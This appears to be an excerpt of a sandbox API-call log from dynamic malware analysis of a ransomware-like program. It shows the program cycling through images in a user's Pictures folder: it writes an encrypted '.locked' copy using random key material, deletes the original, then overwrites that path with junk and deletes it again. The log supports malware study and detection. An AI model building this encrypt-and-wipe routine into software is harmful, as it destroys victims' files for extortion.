	[0079.530] SetEvent (hEvent=0x78) returned 1
	[0079.530] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126f4000*, nNumberOfCharsToWrite=0x5a, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x126f4000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5a) returned 1
	[0079.532] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JYg6TnEulkyn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jyg6tneulkyn.png")) returned 1
	[0079.551] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0079.551] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.551] SetEvent (hEvent=0xa8) returned 1
	[0079.551] SetEvent (hEvent=0x80) returned 1
	[0079.555] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.556] SetEvent (hEvent=0x80) returned 1
	[0079.556] SetEvent (hEvent=0x78) returned 1
	[0079.556] SetEvent (hEvent=0xb4) returned 1
	[0079.556] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.556] SetEvent (hEvent=0xb4) returned 1
	[0079.558] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.558] SetEvent (hEvent=0xb4) returned 1
	[0079.558] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.558] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.559] SetEvent (hEvent=0xb4) returned 1
	[0079.559] SetEvent (hEvent=0x78) returned 1
	[0079.559] SetEvent (hEvent=0x80) returned 1
	[0079.559] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.559] SetEvent (hEvent=0x80) returned 1
	[0079.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JYg6TnEulkyn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jyg6tneulkyn.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.560] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.560] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.576] CloseHandle (hObject=0xc0) returned 1
	[0079.576] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JYg6TnEulkyn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jyg6tneulkyn.png")) returned 1
	[0079.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\RnrwSfV32mxi0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\rnrwsfv32mxi0.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230b0ca0, ftCreationTime.dwHighDateTime=0x1d4c71e, ftLastAccessTime.dwLowDateTime=0xd40c5470, ftLastAccessTime.dwHighDateTime=0x1d4cd07, ftLastWriteTime.dwLowDateTime=0xd40c5470, ftLastWriteTime.dwHighDateTime=0x1d4cd07, nFileSizeHigh=0x0, nFileSizeLow=0x12b8e)) returned 1
	[0079.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\RnrwSfV32mxi0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\rnrwsfv32mxi0.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.580] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\RnrwSfV32mxi0.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\rnrwsfv32mxi0.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.581] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.581] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.581] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.581] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.581] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.584] SetEvent (hEvent=0x78) returned 1
	[0079.584] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x12b8e, lpOverlapped=0x0) returned 1
	[0079.586] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x12b8e, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x12b8e, lpOverlapped=0x0) returned 1
	[0079.587] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.587] CloseHandle (hObject=0xc4) returned 1
	[0079.587] CloseHandle (hObject=0xc0) returned 1
	[0079.588] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0079.588] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.588] SetEvent (hEvent=0x78) returned 1
	[0079.588] SetEvent (hEvent=0x80) returned 1
	[0079.588] SetEvent (hEvent=0xb4) returned 1
	[0079.588] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.589] SetEvent (hEvent=0xb4) returned 1
	[0079.589] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5b) returned 1
	[0079.590] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\RnrwSfV32mxi0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\rnrwsfv32mxi0.png")) returned 1
	[0079.609] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.609] SetEvent (hEvent=0xa8) returned 1
	[0079.609] SetEvent (hEvent=0x80) returned 1
	[0079.614] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.614] SetEvent (hEvent=0x80) returned 1
	[0079.614] SetEvent (hEvent=0xb4) returned 1
	[0079.614] SetEvent (hEvent=0x78) returned 1
	[0079.614] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.615] SetEvent (hEvent=0x78) returned 1
	[0079.616] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.616] SetEvent (hEvent=0x78) returned 1
	[0079.617] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.617] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.617] SetEvent (hEvent=0x78) returned 1
	[0079.617] SetEvent (hEvent=0xb4) returned 1
	[0079.617] SetEvent (hEvent=0x80) returned 1
	[0079.617] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.617] SetEvent (hEvent=0x80) returned 1
	[0079.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\RnrwSfV32mxi0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\rnrwsfv32mxi0.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.618] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.619] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.636] CloseHandle (hObject=0xc0) returned 1
	[0079.636] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\RnrwSfV32mxi0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\rnrwsfv32mxi0.png")) returned 1
	[0079.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\cAsGHn0bAlw9fl2J6K.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\casghn0balw9fl2j6k.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17693280, ftCreationTime.dwHighDateTime=0x1d4cffe, ftLastAccessTime.dwLowDateTime=0x77fcf4c0, ftLastAccessTime.dwHighDateTime=0x1d4c99a, ftLastWriteTime.dwLowDateTime=0x77fcf4c0, ftLastWriteTime.dwHighDateTime=0x1d4c99a, nFileSizeHigh=0x0, nFileSizeLow=0x5f86)) returned 1
	[0079.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\cAsGHn0bAlw9fl2J6K.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\casghn0balw9fl2j6k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.640] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\cAsGHn0bAlw9fl2J6K.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\casghn0balw9fl2j6k.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.641] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.641] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.641] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.641] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.641] WriteFile (in: hFile=0xc4, lpBuffer=0x1240f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1240f000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.644] SetEvent (hEvent=0xb4) returned 1
	[0079.644] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x5f86, lpOverlapped=0x0) returned 1
	[0079.646] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x5f86, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x5f86, lpOverlapped=0x0) returned 1
	[0079.646] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.646] CloseHandle (hObject=0xc4) returned 1
	[0079.646] CloseHandle (hObject=0xc0) returned 1
	[0079.647] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0079.648] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.648] SetEvent (hEvent=0xb4) returned 1
	[0079.648] SetEvent (hEvent=0x80) returned 1
	[0079.648] SetEvent (hEvent=0x78) returned 1
	[0079.648] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.648] SetEvent (hEvent=0xa8) returned 1
	[0079.648] SetEvent (hEvent=0x78) returned 1
	[0079.648] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x60) returned 1
	[0079.650] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\cAsGHn0bAlw9fl2J6K.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\casghn0balw9fl2j6k.jpg")) returned 1
	[0079.668] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.668] SetEvent (hEvent=0xa8) returned 1
	[0079.668] SetEvent (hEvent=0x80) returned 1
	[0079.672] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.673] SetEvent (hEvent=0x80) returned 1
	[0079.673] SetEvent (hEvent=0x78) returned 1
	[0079.673] SetEvent (hEvent=0xb4) returned 1
	[0079.673] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.673] SetEvent (hEvent=0xb4) returned 1
	[0079.675] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.675] SetEvent (hEvent=0xb4) returned 1
	[0079.676] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.676] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.676] SetEvent (hEvent=0xb4) returned 1
	[0079.676] SetEvent (hEvent=0x78) returned 1
	[0079.676] SetEvent (hEvent=0x80) returned 1
	[0079.676] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.677] SetEvent (hEvent=0x80) returned 1
	[0079.677] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\cAsGHn0bAlw9fl2J6K.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\casghn0balw9fl2j6k.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.677] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.678] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.696] CloseHandle (hObject=0xc0) returned 1
	[0079.696] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\cAsGHn0bAlw9fl2J6K.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\casghn0balw9fl2j6k.jpg")) returned 1
	[0079.699] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\mX0ndxYpL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\mx0ndxypl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb05ced90, ftCreationTime.dwHighDateTime=0x1d4d3f7, ftLastAccessTime.dwLowDateTime=0x37fb0690, ftLastAccessTime.dwHighDateTime=0x1d4c81a, ftLastWriteTime.dwLowDateTime=0x37fb0690, ftLastWriteTime.dwHighDateTime=0x1d4c81a, nFileSizeHigh=0x0, nFileSizeLow=0x3965)) returned 1
	[0079.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\mX0ndxYpL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\mx0ndxypl.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.700] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\mX0ndxYpL.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\mx0ndxypl.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.700] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.701] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.701] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.701] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.701] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.703] SetEvent (hEvent=0x78) returned 1
	[0079.703] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x3965, lpOverlapped=0x0) returned 1
	[0079.704] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x3965, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x3965, lpOverlapped=0x0) returned 1
	[0079.705] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.705] CloseHandle (hObject=0xc4) returned 1
	[0079.705] CloseHandle (hObject=0xc0) returned 1
	[0079.705] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.706] SetEvent (hEvent=0x78) returned 1
	[0079.706] SetEvent (hEvent=0x80) returned 1
	[0079.706] SetEvent (hEvent=0xb4) returned 1
	[0079.706] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.706] SetEvent (hEvent=0xb4) returned 1
	[0079.706] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x57) returned 1
	[0079.708] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\mX0ndxYpL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\mx0ndxypl.jpg")) returned 1
	[0079.727] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.727] SetEvent (hEvent=0xa8) returned 1
	[0079.727] SetEvent (hEvent=0x80) returned 1
	[0079.731] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.732] SetEvent (hEvent=0x80) returned 1
	[0079.732] SetEvent (hEvent=0xb4) returned 1
	[0079.732] SetEvent (hEvent=0x78) returned 1
	[0079.732] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.732] SetEvent (hEvent=0x78) returned 1
	[0079.734] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.734] SetEvent (hEvent=0x78) returned 1
	[0079.734] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.735] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.735] SetEvent (hEvent=0x78) returned 1
	[0079.735] SetEvent (hEvent=0xb4) returned 1
	[0079.735] SetEvent (hEvent=0x80) returned 1
	[0079.735] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.735] SetEvent (hEvent=0x80) returned 1
	[0079.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\mX0ndxYpL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\mx0ndxypl.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.736] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.736] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.752] CloseHandle (hObject=0xc0) returned 1
	[0079.752] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\mX0ndxYpL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\mx0ndxypl.jpg")) returned 1
	[0079.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\yx0AE_1nlAbd-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\yx0ae_1nlabd-.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97133a20, ftCreationTime.dwHighDateTime=0x1d4ccdf, ftLastAccessTime.dwLowDateTime=0xfc385830, ftLastAccessTime.dwHighDateTime=0x1d4c998, ftLastWriteTime.dwLowDateTime=0xfc385830, ftLastWriteTime.dwHighDateTime=0x1d4c998, nFileSizeHigh=0x0, nFileSizeLow=0x9442)) returned 1
	[0079.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\yx0AE_1nlAbd-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\yx0ae_1nlabd-.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.756] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\yx0AE_1nlAbd-.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\yx0ae_1nlabd-.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.756] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.757] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
